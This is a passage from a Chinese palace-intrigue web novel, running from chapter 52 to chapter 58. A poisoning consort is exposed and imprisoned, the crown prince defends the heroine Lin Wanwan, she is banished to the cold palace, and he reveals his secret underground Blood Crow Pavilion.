无需多言,两者在灯火下折射出的、一模一样的诡异七彩光泽,便是最残酷的铁证!
殿内瞬间炸开了锅。
惊呼声,议论声此起彼伏!
所有人的目光都如同利箭般射向面无人色的柳贵妃身上!
她竟敢在献给太后的寿礼上动手脚,意图对太后不轨!
而林绾绾跟太子的嘴角,在无人察觉的角度,都挂起一丝弧度。
之前,萧景珩查到端妃中毒的手法后,顺着这条线,找到了专为柳贵妃做珠钗的匠人。
一番手段下来,意外知晓柳贵妃在太后寿礼上也做了同样的手脚。
柳贵妃到底有什么目的,自是不言而喻。
如此,他们决定顺水推舟,成全柳贵妃!
昨晚,寒鸦溜进贵妃的宝库,将原本应该就在里面的东西偷偷放了进去。
如此,才有了现在这一幕。
第53章 沉冤昭雪
慈宁殿上。
贵妃柳轻眉如同被抽去了全身筋骨,踉跄着后退一步,撞翻了身后的矮几。
杯盘碎裂,声响刺耳。
她精心维持的雍容华贵被彻底击得粉碎。
她明明记得,那个暗格里自己嘱咐过,暂时不要放任何东西!怎么会有“朱颜改”?
是谁?是谁在背后算计她?
“毒妇!好一个毒妇!”
太后气得浑身发抖,她指着柳氏,声音因极致的愤怒而颤抖。
“哀家待你不薄!你竟敢…竟敢用如此阴毒的手段残害嫔妃,更将这心思动到了哀家头上!其心可诛!其心可诛啊!”
皇帝萧胤的脸色阴沉得能滴出水。
他看着柳氏的眼神再无半分温度,只剩下冰冷的算计。
柳轻眉…
这颗棋子,已经彻底废了!还成了烫手的山芋!
人证!物证!铁证如山!
桩桩件件,皆指向柳氏!
滔天罪行,罄竹难书!
“毒妇!真是个毒妇!”
太后气得眼前发黑,几乎晕厥过去,被身边嬷嬷死死扶住。
皇帝萧胤的脸色已经不能用阴沉来形容,那是一种暴风雨来临前的死寂!
他看着地上如同烂泥的柳氏,看着哭嚎着招供的太监,看着托盘上那些刺目的罪证,再看着满殿宗亲命妇那震惊、愤怒的目光…
他知道,柳家完了...
那么,柳轻眉必须死!
而且,要死得“大快人心”,才能平息众怒,才能掩盖更深的东西...
“妖妃柳氏!”皇帝的声音冰冷刺骨,带着帝王的杀伐决断。
“谋害妃嫔,戕害皇嗣,构陷忠良!更妄图加害太后!罪证确凿,十恶不赦!即刻打入天牢,着三司会审!”
“柳氏一族,凡五品以上者,即刻锁拿下狱!”
“抄没柳氏家产!待审明罪状,明正典刑,以儆效尤!”
“不!陛下!臣妾冤枉!陛下饶命啊!”
柳轻眉的父兄,柳家党羽哭嚎着跪倒一片。
“拖下去!”皇帝厉声咆哮,挥手间,如同驱赶苍蝇一般。
如狼似虎的侍卫一拥而上,粗暴地将惨嚎挣扎的柳轻眉如同托死狗般架起,将殿上哭爹喊娘的柳家党羽拖了下去。
柳氏死死瞪着皇帝,喉咙里发出嗬嗬的嘶鸣:“陛下…您…长生…呃!”
后面的话没还说出口,就在皇帝警告的眼神中,被侍卫狠狠堵住了嘴。
大殿内再次恢复了一片死寂。
皇帝的目光沉沉地落在了林绾绾身上...
林绾绾依旧挺直了背脊跪在殿上,如同浴火青莲一般。
忌惮,杀意,还有一丝权衡…
此女不除,必成大患!
她知道的太多了!
林家…巫医族…血凤凰木…每一样都踩在他的禁忌之上!
“至于你…”
皇帝的声音阴沉得可怕,每一个字都带着森然的杀意。
“林绾绾!你惊扰太后千秋寿宴,更是天牢逃犯!虽揭露柳氏有功,然功过难抵!死罪可免,活罪…”
“父皇且慢!”
那个低沉,却带着磐石般坚定力量的声音,再次响起。
萧景珩挡在了林绾绾身前,每一次轻微的呼吸都带着压抑的咳意。
他平静的目光迎向皇帝那几乎要将他凌迟的暴怒目光时,一股沉凝如山岳般的气势,竟硬生生抗住了帝王的滔天威压!
“九弟与端妃娘娘冤屈得洗,林家忠烈得以昭雪,此乃社稷之幸,父皇之明!”
萧景珩声音沉稳,带着不容置疑的决断:
“林绾绾虽有擅离天牢、擅动非常手段之过,然其忍辱负重,以身犯险,在关键时刻寻得关键铁证,揭露柳氏滔天罪行。于社稷有再造之功!”
“若非她拼死寻回着血凤凰木、‘朱颜改’毒晶以及九尾凤簪的秘密,九弟与端妃娘娘的冤屈恐永沉海底,林家忠骨更将含恨九泉!柳氏之毒焰,将永无熄灭之日!”
萧景珩的话语条理清晰,字字铿锵,将林绾绾的“罪责”转化为揭露阴谋、昭雪沉冤、立下不世之功的壮举!
皇帝看着挡在林绾绾身前的儿子,看着他病弱身躯下那坚定的维护,看着他眼中那深不见底的平静...
一股失控的愤怒和被忤逆的暴戾在胸腔中疯狂冲撞!
这个儿子…这个他一直视为病弱废物的儿子…竟然一而再,再而三地当众挑战他的权威!
“太子!”皇帝的声音从齿缝里挤出,“你都自身难保,还要包庇这个妖…这个女人?莫非你与她…”
“父皇!”
萧景珩提高了声音,打断了皇帝那充满暗示和恶意的揣测。
他剧烈地咳嗽起来,苍白的脸上涌出病态的红晕,身体剧烈摇晃,仿佛下一刻就要咳血倒地。
旁边的内侍慌忙搀扶住他。
萧景珩抬起眼,此刻他的眼中布满了血丝,声音里更是带着一种悲怆到极致的沉痛,语调嘶哑却字字泣血:
“儿臣只是心痛!心痛九弟年幼夭折,死后仍要受尽折磨!”
“心痛端妃娘娘无端受辱,容颜尽毁!”
“心痛林太医一生忠耿,悬壶济世,最后却落得满门抄斩,身败名裂!”
“儿臣更心痛父皇,被此毒妇蒙蔽圣听,将来会被史笔所诟病!”
接着,萧景珩话锋一转,再次将矛头死死钉在柳氏身上:
“林绾绾虽有微功,但擅离天牢,惊扰太后千秋亦是事实。儿臣深知父皇欲正纲纪,但她揭露奸佞,昭雪沉冤之功,实乃社稷之幸!若因此功而反受重责,恐怕寒了天下忠义之士的心!”
“儿臣斗胆,恳请父皇,念其功勋卓著,允许她将来戴罪立功!儿臣愿以性命,为其担保!”
萧景珩以退为进,给皇帝递上了一个他必须接受的台阶。
而殿内的人在看到太子这近乎悲壮的姿态,瞬间被震慑!
看着他眼中那沉痛悲怆却又无比坚定的光芒,看着他为了一个“罪女”不惜以储君之尊、病弱之躯硬抗帝威...
许多宗室老臣和命妇眼中都流露出动容之色。
“太子殿下!”有老宗亲忍不住低声呼喊。
太后的眼神也复杂地闪动着。
她看了看咳血的太子,又看了看地上那些代表林家冤屈的证物,最终化为一声沉重的叹息。
第54章 挺身维护
皇帝萧胤的脸色已经不能再用阴沉来形容。
他看着病弱不堪却依旧挡在林绾绾跟前的太子,看着满殿宗亲命妇那复杂难言的目光,看着太后眼中那尚未完全消散的怒意...
他知道,自己彻底被架在了火上!
强行诛杀林绾绾?
那便是坐实了“昏聩”,“滥杀功臣”,“纵容奸妃屠戮忠良”的恶名。不仅会寒了人心,甚至可能激起朝堂动荡!
太子这以命相搏的姿态,更是将他置于不义之地!
而柳氏已倒,他需要太子暂时稳住局面,更需要时间消化权利真空,继续他隐秘的“大业”!
这个林绾绾...
把她置于眼皮底下,由太子“看管”,从目前来看,是最稳妥的办法!
此举既能稳定局面,又能牵制太子,更便于他日后...慢慢利用!
心思电转间,皇帝脸上的暴怒如同潮水般褪去,取而代之的是一种疲惫的,带着“明君”的无奈与“慈父”般痛心的复杂表情。
他深深叹了口气,仿佛瞬间苍老十岁般“疲惫”地挥了挥手。
“罢了,罢了…太子所言,字字泣血,令朕痛心疾首!是朕被奸妃蒙蔽,铸下大错!朕愧对九泉之下的皇儿,愧对端妃,更...愧对林家满门!”
皇帝的声音带着一丝刻意营造的沉痛,目光沉沉地落在林绾绾身上,语气满是帝王的“恩典”:
“林绾绾!”
“朕,今日当着太后,当着满朝宗亲命妇的面,为林家平反昭雪!”
“追封林崇明为忠义伯,谥号‘文正’!其妻云氏,追封一品诰命!林家无辜枉死者,由朝廷出资厚葬,抚恤遗属!”
“你揭露奸佞,寻回铁证,于社稷有大功!”
“然擅离天牢,惊扰圣寿亦是事实。功过相抵,死罪可免。“
“即日起,革去司药女官之职,打入冷宫!非诏不得出!由太子亲自看管!若再有差池,定斩不饶!退下!”
平反!追封!打入冷宫!由太子看管!
这旨意如同冰火两重天!
看似赏罚分明,实则充满了算计!
为林家正名,洗刷了林绾绾心头最大的血仇污名!
将她这个烫手山芋丢给太子,既全了“明君”不滥杀功臣的表面功夫,又反将太子推到了风口浪尖。
若太子稍有异动,或是她自己出现什么问题,便是现成的把柄!
巨大的悲喜冲击瞬间席卷了林绾绾,支撑她走到现在的意志力也仿佛瞬间被抽空。
她缓缓跪下,额头重重磕在冰冷坚硬的地面上,发出沉闷的声响:
“林绾绾…谢陛下隆恩!谢陛下为我林家昭雪!”
她声音哽咽沙哑,带着刻骨的悲凉与得偿所愿的释然。
父亲…母亲…林家枉死的亲人们…你们可以瞑目了!
“儿臣…领旨!谢父皇隆恩!”
萧景珩同样躬身行礼,声音带着如释重负的虚弱,低垂的眼睫遮住了一闪而过的冰冷寒芒。
冷宫!这正是他想要的缓冲之地。
远离皇帝的直接视线,更方便他接下来的布局!
“还不扶太子和这…林氏下去!”
皇帝的声音带着浓浓的疲倦和挥之不去的阴冷,仿佛多看这个方向一眼都嫌晦气。
两名内侍慌忙上前搀扶萧景珩。
林绾绾挣扎着想自己起身,却因脱力和情绪的巨大冲击而双腿发软。
就在这时,一只冰冷而沉稳的手,稳稳地扶住了她即将倾倒的手臂。
林绾绾抬头,正好对上萧景珩那双近在咫尺的黑眸。
萧景珩脸色依旧苍白,但那双眼睛清晰地倒映着她此刻的虚弱与眼中未干的泪光。
他的掌心透过薄薄的衣料传来一丝微弱的暖意,也给林绾绾带来一种无声的支撑。
那暖意并非来自体温,更像是心口那火焰纹路传递来的、同源力量的微弱共鸣。
“还能走吗?”他的声音压得极低,只有两人能听见。
林绾绾的心漏跳一拍,咬着下唇,点了点头,挣开他的手,稳定住自己的身形。
没有再看皇帝和太后,没有理会殿内那些或唏嘘,或复杂,或探究的目光。
林绾绾一步一步地,跟随着那个玄色蟒袍的背影,缓缓走出了这刚刚经历了一场血腥清算的慈宁大殿。
殿外,寒风依旧凛冽,天光惨淡,压得人喘不过气来。
宫道漫长而空旷,只有他们二人缓慢前行的脚步,在死寂中回响。
林绾绾低着头,看着脚下被踩得脏污的积雪,感受着手臂上那来自萧景珩的支撑力量,心口隐隐发烫。
她的目光不由自主地移向了身侧这个近在咫尺的男人。
他微微侧着脸,下颌线绷得如同刀锋,苍白的薄唇紧抿,长睫低垂,遮住了眼底所有的情绪。
空气中似乎隐隐有血腥味传来。
萧景珩后背上,素白的蟒袍已被暗红的血色彻底浸透,如同雪地里绽开的触目惊心的红梅。
为了她,这个男人到底承受了多少?
复杂的情绪如同藤蔓,悄然地缠绕上她的心脏。
有沉冤得雪的悲凉释然,有手刃仇敌的冰冷快意,有对未来的迷茫与沉重,更有…对眼前这个强大又脆弱、冷酷又维护她的男人的悸动与心疼。
那个儿时在榻上病弱不堪的小哥哥,跟眼前男人的身影再度重合。
萧景珩似乎感受到了她目光的重量,微微偏过头。
四目相对。
寒风卷起萧景珩鬓角几缕散落的墨发,他没有言语,只有眼底一片沉静的深邃。
林绾绾的心猛地一颤,似乎被那深邃的目光烫到,迅速垂下了眼帘。
手臂上他掌心传来的微弱暖意,却仿佛烙印,带着一种无声的承诺和沉重的羁绊。
宫道的尽头,是重重叠叠,象征着禁锢与荒凉的宫殿剪影——冷宫。
这是新的囚笼,或许也将是新的战场。
巫医族的秘密,九皇子身上蛊虫的作用,她与萧景珩的同源寒毒,还有这个男人身上所有的谜团…都如同一张巨大且无形的网,朝着她缓缓收紧。
雪,无声地落下,覆盖了来时的足迹,也掩埋了刚刚经历过的血腥与昭雪。
林绾绾深深觉得,前路依旧茫茫。
辞别了萧景珩,她独自一人向冷宫走去。
第55章 入住冷宫
冷宫里,混合着绝望和血腥的阴寒。
一种带着陈腐尘埃气息的冰冷,如同破败的纱布般层层叠叠地缠绕上来,无声无息地侵蚀着人的生气和希望。
空气里到处都是潮湿的霉味和枯草的腐败气息,还有一种挥之不去的、属于时光和失意共同沉淀下来的死寂。
冷宫,栖梧苑。
名字曾是帝王恩宠的象征,此刻却成了巨大的讽刺。
破败的宫门歪斜地敞开着,院墙斑驳,朱漆剥落殆尽,灰白的墙体上爬满了枯死的藤蔓。
庭院里荒草丛生,枯黄焦黑,在惨淡的冬日天光下瑟瑟发抖。
几间殿宇门窗破败,糊窗的明瓦早已破碎,只剩下空洞的黑框,像一只只盲人的眼睛,漠然地注视着闯入的不速之客。
远处监视着林绾绾的太监,看着林绾绾进入冷宫后,便隐身退去。
冷宫殿内更加昏暗,光线只能从破损的门窗缝隙里艰难地挤进来,照亮空气中飞舞的尘埃。
地面是冰冷且凹凸不平的青砖,到处都积着厚厚的灰尘。
角落里堆着些破烂的桌椅残骸,蛛网如同灰白的帷幔,在梁柱间无声垂落。
浓重的霉味和灰尘气息直冲鼻腔。
“砰!”殿门在林绾绾身后被寒风重重关上,沉重的声音在死寂中格外刺耳,似乎宣告着囚禁的开始。
巨大的疲惫和劫后余生的虚脱感如同潮水般将林绾绾瞬间淹没。
紧绷了数日,乃至数月的神经骤然松弛,带来的不是解脱,而是排山倒海的眩晕和无力。
她背靠着冰冷刺骨的殿门,身体不受控制地缓缓滑落,最终跌坐在满是灰尘的青砖地上。
冰冷刺骨的地气透过单薄的宫装直窜上来,让她打了个寒战。
左肩胛处,之前被蚀骨毒掌侵蚀的伤口,传来隐隐刺痒,似乎在提醒着她不久前经历的惊心动魄的搏杀。
心口的火焰纹路似乎彻底沉寂下去,只余下微弱如星火的暖意,对抗着这无孔不入的冰冷和死寂。
脑海中不受控制地浮现出萧景珩的身影。
他苍白如雪的脸,他“强撑”病体挡在自己身前,应对皇帝暴怒的决绝,他后背上洇开的、刺目的血迹…
还有宫道上,他那只冰冷沉稳,给予了自己无声支撑的手掌…
心口微弱的暖意似乎又跳动了一下。
就在思绪纷乱,身心俱疲之际——
“吱呀--”
一声轻微的推门声,打破了殿内的寂静。
林绾绾迅速抬头,警惕地看向声音来源。
门被推开了一条缝隙,一个瘦小的身影畏畏缩缩地探了出来。
一个约莫十六、七岁的小宫女,穿着一身洗得发白,打满补丁的宫装,脸色蜡黄,头发用一根木簪草草挽着。
她看到跌坐在地、满身狼狈的林绾绾,一双黑白分明的大眼睛里充满了惊惧和好奇,如同受惊的小鹿。
“你…你是谁?”小宫女的声音细若蚊蚋,带着浓重的怯意,“怎么…怎么会到这里来?”
林绾绾神经微微放松了一些,但警惕未消。
她撑着冰冷的地面,试图站起来,但无力的身体让她闷哼一声,又重新跌了回去。
“呀!”
小宫女惊呼一声,下意识想上前搀扶,却又畏惧地缩回了手,怯生生地站在原地,绞着衣角。
“你…你是不是受伤了?我去给你找点水。”话说完,转身就要跑回内室。
“等等!”林绾绾强忍着不适开口,“你叫什么名字?这里…还有其他人吗?”
小宫女脚步顿住,回头飞快地看了她一眼,又迅速低下头,小声嗫嚅道:“奴婢叫小荷,这栖梧苑就奴婢一个人守着。”
她的声音里带着浓重的孤寂和恐惧,“嬷嬷们…都走了好多年了…”
一个人?守着这偌大的冷宫?
林绾绾看着小荷单薄的身影,心底掠过一丝同病相怜的悲凉。
“小荷…”林绾绾放缓了声音,尽量让自己听起来没有威胁性,“麻烦你,除了帮我打点水,再找些干净的毛巾可以吗?”
小荷闻言,用力点了点头,转身飞快地跑进了内室。
林绾绾看着小荷消失的背影,轻轻吁了口气。
她挣扎着,扶着冰冷的殿门,艰难地站了起来。
再次环顾着破败的殿宇,一股名为“囚徒”的无力感沉沉压下。
她走向一扇相对完好的窗边,透过破洞的窗纸向外望去。
就在这时,一阵微弱却独特的笛声,如同游丝般,穿过层层叠叠的宫墙和凛冽的寒风,断断续续地飘了过来。
那笛声带着一种不属于中原的、苍凉辽阔的异域风情。
旋律古老而忧伤,如同大漠孤烟的叹息,又似草原朔风的呜咽。
在这死寂冰冷的冷宫深处,这缕笛声显得如此突兀,却又带着一股穿透力,直抵人心。
大漠风情...是北漠?!
她脑海中瞬间想起一个名字——赫连灼!
北漠送来大胤的质子!
传闻他性情古怪,深居简出,独居在皇宫最偏僻的“凝霜馆”,几乎与世隔绝。
难道这笛声…是他?
一丝异样的感觉涌上心头。
北漠…巫医族…血凤凰木…
林绾绾下意识攥紧了拳,指甲深深陷入掌心。
贵妃虽倒,但这深宫的漩涡远未平息…一切似乎才刚刚开始。
笛声悠悠,如同幽灵的低语,在冷宫上空盘旋片刻,又渐渐消散在寒风中,只留下更深的疑团。
小荷很快端着一个豁了口的粗陶盆回来,里面盛着半盆清澈的冷水。
她手里还攥着一小卷干净的旧布,怯生生地递给林绾绾。
“只有这些了…”小荷的声音依旧很小,带着歉意。
“足够了,谢谢你,小荷。”林绾绾接过布条,对她露出一个温和的笑容。
这女孩眼中的惶恐和小心翼翼,让她想起了林家未出事前,府里那些年纪相仿的小丫鬟。
林绾绾走到墙角一处相对避风、灰尘也少些的地方,示意小荷将水盆放下。
她背对着小荷,解开衣襟,露出左肩胛的伤口。
伤口虽然不再流血,但边缘红肿,被灰尘和汗水沾染后,隐隐有发炎的迹象。
她忍着痛,用布条蘸了冷水,小心翼翼地清理伤口周围的污垢。
冰冷布条触碰到皮肉,带来一阵阵刺痛,让她额角渗出细密的冷汗,但她却咬紧牙关,一声不吭。
小荷站在一旁,看着林绾绾处理伤口时的模样,微不可查点了点头,眸光中多了认可和敬佩。
第56章 秘策初窥
“笃笃笃。”
极其轻微、富有节奏的敲击声,突然在栖梧苑破败的窗棂上响起。
林绾绾和小荷同时一惊,齐齐回头看向传来异响的地方。
只见窗纸的破洞处,一只通体漆黑、眼睛猩红如血的乌鸦,正用它尖利的喙,轻轻啄着窗棂。
是那只神出鬼没的血瞳乌鸦!
它歪着头,猩红的眼睛透过破洞,精准地“看”着林绾绾。
随即,它灵巧地一低头,从窗棂的缝隙中,丢进来一个小小的,用油纸包裹严实的物件。
“啪嗒”一声,小物件落在积满灰尘的地面上。
血瞳乌鸦完成任务,无声的振翅,瞬间消失在窗外的寒风中,仿佛从未出现过。
林绾绾快步上前,捡起那个油纸包。
东西入手微沉,带着一丝草药的清苦气息。
她一层层剥开油纸,里面是一颗褐色药丸。
药丸散发着淡淡的清香。
黄芪、党参、黄精…都是可以固本培元的成分。
一股难以言喻的暖流瞬间涌上心头,冲淡了身体的寒冷和不适。
他…竟然在这种时候,还记得她的伤,还让血鸦送来了药!
“是…是神仙吗?”
小荷看着那凭空出现的药丸,似乎受到了惊吓。黑白分明的大眼睛里充满了难以置信的敬畏。
林绾绾心中五味杂陈,只是摇了摇头,没有解释,低声道:“是…一位故人。”
她将手中的药一口服下,一股温和的暖流自丹田升起,缓缓流向四肢百骸,驱散了深入骨髓的寒意和疲惫。
她感觉精神恢复了一些,身体也不再那么软弱无力。
“小荷,这里有可以休息的地方吗?”林绾绾轻声问。
小荷指了指内室的方向:“里面有个小隔间,奴婢平时睡在那里。那里有个土炕,虽然硬一些,但却比睡在地上暖和些。”
林绾绾点点头:“那带我去吧。”
内室比外殿更加昏暗破败,空气也更加浑浊。
小荷所说的“小隔间”,其实只是用破旧的屏风勉强隔开了一个角落。
里面果然有一个小小的土炕,炕上铺着打补丁的旧褥子,虽然简陋,但确实比冰冷的地面好得多。
“您…睡这里吧。”小荷小声说道,自己则抱了一床破被子,缩到了土炕对面的角落里,准备打地铺。
“不用,”林绾绾拦住她,“地方够,咱们一起睡炕上吧,本来就是我占了你的位子。”
小荷微微一愣,用力吸了吸鼻子,没有拒绝,只是低低说了声:“谢谢…姐姐。”
这一声“姐姐”,带着浓浓的依赖和感激,让林绾绾冰冷的心泛起一丝涟漪。
她拍了拍小荷瘦弱的肩膀,两人和衣挤在狭窄却有些暖意的土炕上。
身体的疲惫再次凶猛地袭来,意识在药效下变得模糊。
林绾绾闭上眼,整个人很快沉入黑暗。
脚下是一条深不见底,流淌着暗红色液体的河流。
一条血河!
河水粘稠,散发着令人作呕的甜腥气息,与血凤凰木那独特的异香一模一样。
无数扭曲的、痛苦的灵魂在血河沉浮、哀嚎,他们的面容模糊不清,却都穿着明黄的皇子服饰或是华美的宫装!
林绾绾感觉自己的身体悬浮在血河之上,冰冷黏腻的河水不断试图将她拖拽下去。
心口那火焰纹路,散发出微弱的金红光芒,勉强抵御着那邪恶的侵蚀。
突然!
血河深处,睁开一只巨大的、布满血色的金色竖瞳。瞳孔深处,倒映着皇帝萧胤那张威严却充满无尽贪婪的脸!
他张开嘴,无声地咆哮着,血河中那些沉浮的灵魂哀嚎着被吸入他的口中,然后化作他脸上越来越浓重的、不详的金色光晕。
紧接着,画面破碎重组。
她“看”到了一个阴暗的地宫深处。
墙壁上刻满了扭曲的、燃烧着火焰的古老符文,充满了邪异和污秽的气息。
地宫中央,矗立着一尊巨大的青铜丹炉,炉身雕刻着狰狞的鬼面,炉口喷吐着暗绿色的、带着腥臭的火焰。
丹炉下方,赫然是九皇子布满诡异紫斑的尸身!
他竟然被当成了…炉火的燃料!
“不--!”
巨大的惊骇让林绾绾在梦中发出了无声的嘶吼。
就在这时!
“嗡--!”
一声极其轻微、却仿佛来自灵魂深处的嗡鸣响起。
血河、金瞳、地宫、丹炉…所有恐怖的画面如同被投入石子的水面,激烈地晃动、破碎!
一本散发着柔和月白色光芒的古老书卷虚影,缓缓在她混乱的识海中浮现出来。
书卷材质似玉非骨,封面是暗沉的墨玉色,上面用流动着星辉般的银线,勾勒出三个古老而玄奥的大字——
《天医策》!
这书卷虚影出现瞬间,一股浩瀚磅礴、充满了无尽生机与净化之力的气息轰然扩散。
如同温暖的阳光驱散阴霾,又似清洌的甘泉涤荡污秽。
翻腾的血河,狰狞的金瞳,燃烧着邪火的青铜丹炉…在这股纯正而浩瀚的气息冲击下,如同冰雪消融,发出滋滋声响,迅速淡化、消散。
林绾绾只觉得一股难以言喻的清凉和宁静瞬间抚平了她梦魇中的惊惶与愤怒。
那书卷虚影静静地悬浮着,散发出柔和的光芒,仿佛在守护着她的意识。
书页缓慢地自行翻动着,隐约可见里面记载着无数玄奥的经络图、奇异的草药图谱,以及…闪烁着金光的古老符咒。
巨大的震撼和一种源自血脉深处的呼唤,让林绾绾的意识不由自主地想要靠近那书卷虚影,想要看清上面的内容…
就在她的意识即将触碰到那书卷的瞬间——
“姐姐?姐姐!”
一阵带着哭腔的、急切的呼唤声,如同从遥远的天边传来,猛地将她从深沉的梦境中拽回现实。
林绾绾骤然睁开眼!
眼前是破败的屋顶和蛛网,身下是带着微微暖意的土炕,心口那火焰纹路在微微发烫,识海中还残留着梦魇中的悸动和《天医策》虚影带来的浩瀚气息。
小荷跪坐在炕边,脸上满是担忧,小声道:“姐姐你刚才做噩梦了吗?你身上好烫。还有…你心口那里…”
林绾绾心中一动,低头看去。
隔着单薄的衣料,心口那微弱的火焰光芒一闪而逝,似乎有什么力量被引动了!
第57章 地下王城
“咻--!”
“噗嗤!”
一连串极其轻微、却充满了死亡气息的声响,刺破了冷宫死寂的夜空。
利器破空声!利刃入肉声!濒死的闷哼声!
林绾绾猛地翻身坐起,一把将惊恐的小荷拉到身后护住,眼睛死死盯向破败的殿门方向。
栖梧苑外,有打斗声!
是谁?
皇帝派来的灭口死士?
还是…柳氏残余势力的报复?
巨大的危机感瞬间笼罩着她。
林绾绾下意识摸向怀中。
九转玲珑针冰冷的触感传来,给了她微弱的安全感。
但面对那些能悄无声息潜入冷宫**的敌人,这点依仗却远远不够。
殿外的打斗声极其短暂,几声闷响和短促的哀嚎后,便彻底归于安静,然后是比之前更令人窒息的死寂。
林绾绾的心在胸腔里疯狂撞击,目光一瞬不瞬地盯着那扇紧闭的、随时会被暴力破开的殿门。
“哒…哒…哒…”
缓慢、沉稳的脚步声由远及近,在空旷死寂的庭院中响起,清晰地传入殿内。
每一步,都如同踩在林绾绾紧绷的神经上,她甚至能清晰听到自己血液在血管里奔流的声音。
脚步声停在了殿门外。
林绾绾握紧了怀中的金针,指尖冰凉。
“咔哒…”一声轻响,门锁被打开了。
沉重的殿门被无声地推开一条缝隙。
一道高大挺拔、几乎与门外浓重夜色融为一体的玄色身影,悄无声息地滑了进来。
他反手轻轻合上门,动作流畅而安静,没有发出一丝多余的声响。
殿内昏暗的光线勾勒出他利落的下颌线和紧抿的薄唇。
他周身散发着浓重的、尚未完全散去的血腥气和凛冽的杀意,如同刚从修罗场归来的死神。
然而,当他抬起眼,那双深不见底的黑眸看向土炕方向时,所有的血腥和杀意都瞬间收敛。
是萧景珩!
他肩头赫然又添了新伤。
血迹在玄色衣料的衬托下并不显眼,但那浓重的血腥味却瞒不过林绾绾的鼻子。
“外面…解决了?”林绾绾紧绷的声音并没有放松。
萧景珩微微颔首,声音带着夜风的冷冽:“三条皇帝的‘暗影’,已经清理干净了。”
他说得轻描淡写,仿佛只是拂去了几粒尘埃。
目光落在林绾绾苍白的脸上,眸色深了深,“你怎么样?”
“我没事。”林绾绾松开紧握金针的手,手心里全是冷汗,“你的伤…”
“无妨。”萧景珩打断她,带着不容置疑的命令:“此地不宜久留,先跟我走。”
“走?去哪里?”林绾绾一怔。
萧景珩没有直接回答,黑眸中跳跃起一丝幽暗而神秘的光芒,如同深渊中燃起的火焰。
“去一个…能让你看清这盘棋真正模样的地方。”
黑暗。
浓稠的、带着泥土腥气和岩石冷冽的黑暗,将人层层包裹。
林绾绾被萧景珩那只带着薄茧、沉稳有力的手牵引着,在狭窄逼仄的石阶上向下摸索。
脚下是湿滑冰冷的台阶,身后的光明早已被黑暗吞噬。
前方,只有萧景珩手中那盏昏黄摇曳的风灯,在绝对的黑暗中劈开一道微弱的光晕,勉强照亮脚下几级石阶和两侧粗糙冰冷的石壁。
越往下走,寒意越重。
空气中,金属与油脂混合的气息越来越浓郁。
小荷紧紧攥着林绾绾的衣袖,在一旁“瑟瑟发抖”。
不忍心小荷一个人面对危险,在林绾绾的要求下,萧景珩也将她一并带上。
三人一起在山洞石阶上穿行。
血瞳乌鸦无声地在前方盘旋引路,猩红的眼睛如同黑暗中的两点火焰。
它偶尔发出轻微的“咕咕”声,似乎在确认方向。
“滴答…滴答…”
不知何处传来的水滴声,在死寂中如同鼓点一般,敲打在林绾绾心间。
不知向下走了多久,就在林绾绾感觉双腿酸麻,身体几乎被冻僵时,前方的黑暗陡然开阔。
昏黄的风灯光晕向前延伸,映照出一扇巨大的、紧闭的石门!
石门通体漆黑,触手冰凉刺骨,仿佛万载玄冰雕琢而成。
门面光滑如镜,没有任何纹饰或把手,只在正中央的位置,镶嵌着
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一个拳头大小,造型狰狞的浮雕——
一只振翅欲飞的乌鸦。
乌鸦的眼睛,正是两颗鸽卵大小、猩红如凝固血滴的宝石,在昏暗的光线下,那宝石内部似乎有粘稠的血液在缓缓流动,散发出妖异而冰冷的光芒。
一股无形的肃杀,如同有了实质般从这扇冰冷的巨门上弥漫开来,压得人喘不过气。
萧景珩的脚步停在石门前。
他松开了林绾绾的手,示意他们退后一些。
萧景珩并未直接去碰触石门,而是伸向自己怀中,取出一样东西——
正是之前他交给林绾绾、后又收回的那枚血鸦令!
他将血鸦令的尾端,那枚猩红的“血滴”,精准无比地按在了石门中央,那只血鸦浮雕同样猩红的左眼宝石之上!
“嗡--!”
一声低沉而悠长,来自地底深处的机括轰鸣声骤然响起。
石门中央血鸦浮雕的左眼宝石,亮起刺目的猩红光芒。
那光芒如同活物般,瞬间沿着血鸦浮雕的羽翼跟利爪蔓延开来,勾勒出无数细密繁复,如同血管般的暗红纹路。
整个巨大的石门仿佛被注入了生命,那些冰冷的纹路在猩红光芒的映照下,如同燃烧的血液!
那扇沉重无比、仿佛与山体融为一体的漆黑巨门,在没有任何外力推动的情况下,缓缓无声地向内滑开。
门内,并非与山洞一样是浓郁的黑暗,反而透出了一种柔和的冷白光芒。
一股混合着古老书卷、陈年金属、奇异草药以及…一丝若有若无血腥气的复杂气息,扑面而来。
林绾绾屏住呼吸,目光越过萧景珩挺拔的肩头,看向门内——
眼前豁然开朗!
这是一个巨大的超乎想象的地下空间!
穹顶高远,由无数根粗壮的、雕刻着扭曲火焰与血鸦图腾的黑色石柱支撑。
柔和而稳定的冷白光芒并非来自烛火,而是镶嵌在穹顶和四壁的无数颗散发着月白色光晕的奇异晶石,如同将漫天星辰搬入了地下。
萧景珩回头,深深看了林绾绾一眼:
“这就是血鸦阁!真正属于我的地下王城!”
第58章 真心相对
血鸦阁空间被分割成不同的区域。
靠近入口处,是开阔的演武场。
地面铺设着暗沉的金属板,上面残留着各种兵器劈砍的痕迹,空气中还散发着淡淡的汗味和铁锈气。
演武场旁,是几排高大的、如同蜂巢般的乌金架子。
上面密密麻麻地陈列着各种闪烁着寒光的兵器,奇异的机括零件以及一些被封存在透明晶石管中的、颜色诡异的液体。
更深处,则是一间间独立的石室。
有的门户紧闭,有的则敞开着。
可以看到里面摆满了巨大的书架,书架上堆放着难以计数、材质各异的卷轴和书册。
还有的石室看似被改成了炼药房。
巨大的药鼎,琳琅满目的药材架,以及一些造型奇特的装置,一应俱全。
甚至还有一个区域,里面隐约传来低沉的、非人的嘶吼和翅膀扇动的声音…
这里,俨然是一个功能齐全、庞大而精密的地下王国!
血鸦阁真正的核心,竟然就在皇城地底!
此刻,演武场的边缘,正静静伫立着数十道身影。
他们皆身着统一的玄色紧身劲装,脸上覆盖着冰冷的乌金面具,只露出一双双毫无温度、如寒潭古井的眼睛。
身形挺拔,气息内敛,一个个如同蛰伏在阴影中的猎豹。
在萧景珩踏入石门的那一刻,这数十名血鸦卫如同演练过千百遍,动作整齐划一,单膝跪地。
膝盖撞击金属地面的声音形成沉闷而震撼的轰鸣。
“恭迎阁主!”
低沉、整齐、带着发自内心的深处敬畏,如同闷雷般,在这巨大的地下空间轰然回荡。
血鸦阁主!
当这个身份如此直白、震撼地揭示在她眼前...
当她亲眼目睹这庞大而森严的地下王国...
当她看到这些血鸦卫对眼前这个男人的绝对臣服...
巨大的冲击力让她瞬间失声!
